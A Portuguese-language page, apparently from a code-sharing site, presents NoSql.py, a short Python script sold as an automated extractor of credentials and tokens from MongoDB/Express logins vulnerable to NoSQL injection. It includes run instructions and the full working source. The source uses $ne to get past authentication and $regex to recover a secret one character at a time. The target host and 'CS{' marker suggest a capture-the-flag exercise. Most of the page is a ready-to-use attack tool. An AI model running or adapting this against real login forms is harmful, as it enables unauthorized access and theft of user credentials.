pythonWeb & SQL Injection#nosql
32 linhas•NoSql.py
NoSql.py — NoSQL Injection Extractor
Extrator automatizado de credenciais e tokens para aplicações MongoDB/Express vulneráveis a injeção NoSQL usando operadores de expressão regular.
Destaques Operacionais
- Enumeração caractere por caractere via regex com operador $regex
- Bypass de autenticação com operadores de negação ($ne)
- Análise de resposta HTTP baseada em conteúdo refletido para validação de acerto
- Suporte a wordlists de charset estendidas (string.printable)
Como Executar
# Ajustar a rota e o marcador de sucesso retornado pela aplicação url = "http://alvo.com/login" # Executar: python3 NoSql.py
* Ajuste as permissões de execução com chmod +x NoSql.py se necessário.
Código Fonte — NoSql.py
pythonimport requests
import string
url = "http://retro.hc/login/"
chars = string.printable
def extract(atual, anterior):
data = {"email[$regex]": atual + anterior, "password[$ne]": "a"}
r = requests.post(url, data=data)
return r.text
def main():
valor_completo = "^"
while True:
encontrou = False
for printable in chars:
if printable in ['*', '+', '.', '?', '|', '\\', '^', '$', '{', '}', '(', ')', '[', ']']:
continue
result = extract(valor_completo, printable)
if "CS{" in result:
valor_completo += printable
encontrou = True
print(f"[+] Encontrado: {valor_completo}")
break
print(f"[-] Testando: {valor_completo + printable}")
if not encontrou:
print(f"\n[✔] Valor completo extraído: {valor_completo[1:]}")
break
main()